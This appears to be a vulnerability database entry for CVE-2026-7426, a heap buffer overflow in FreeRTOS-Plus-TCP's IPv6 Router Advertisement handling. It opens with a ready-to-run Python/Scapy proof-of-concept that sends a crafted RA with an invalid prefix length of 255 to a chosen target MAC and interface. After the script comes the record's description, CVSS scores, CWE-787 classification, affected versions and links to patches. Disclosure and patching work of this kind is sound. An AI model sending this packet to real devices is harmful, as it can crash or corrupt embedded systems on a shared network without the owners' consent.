CVE-2026-7426

#!/usr/bin/env python3 # PoC for CVE-2026-7426: FreeRTOS-Plus-TCP IPv6 RA Overflow # This script sends a crafted IPv6 Router Advertisement with an invalid prefix length. from scapy.all import * import sys def send_malicious_ra(target_mac, interface): # Construct Ethernet header eth = Ether(dst=target_mac, src=RandMAC(), type=0x86DD) # Construct IPv6 header # Source: Link-local address, Destination: All Nodes multicast ipv6 = IPv6(src="fe80::1337", dst="ff02::1") # Construct ICMPv6 Router Advertisement # Default values for RA ra = ICMPv6ND_RA() # Construct Prefix Information Option # Prefix Length set to 255 (Invalid, > 128) to trigger overflow # Valid range is 0-128 prefix_info = ICMPv6NDOptPrefixInfo(prefix="2001:db8::", prefixlen=255) # Assemble packet packet = eth / ipv6 / ra / prefix_info print(f"[*] Sending malicious RA to {target_mac} on {interface}...") sendp(packet, iface=interface, loop=0, verbose=1) if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 poc.py <target_mac> <interface>") print("Example: python3 poc.py 00:11:22:33:44:55 eth0") sys.exit(1) target_mac = sys.argv[1] interface = sys.argv[2] send_malicious_ra(target_mac, interface)

{"cve": {"id": "CVE-2026-7426", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-04-29T20:16:32.143", "lastModified": "2026-05-04T13:12:17.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of the prefix length field in IPv6 Router Advertisement processing in FreeRTOS-Plus-TCP before V4.2.6 and V4.4.1 allows an adjacent network actor to cause memory corruption by sending a crafted Router Advertisement with a prefix length value exceeding the maximum valid length, resulting in a heap buffer overflow. Users processing IPv4 RA only are not impacted.\n\n\n\nTo mitigate this issue, users should upgrade to the fixed version when available."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:amazon:freertos-plus-tcp:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.2.6", "matchCriteriaId": "DE7A5C38-9CEA-461B-9272-3B8BFC06BFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:amazon:freertos-plus-tcp:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.4.1", "matchCriteriaId": "375C7032-9CFB-480C-BFFA-029C985A82B7"}]}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-023-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/releases/tag/V4.2.6", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/releases/tag/V4.4.1", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/security/advisories/GHSA-97qg-4359-xm3x", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Vendor Advisory", "Patch"]}]}}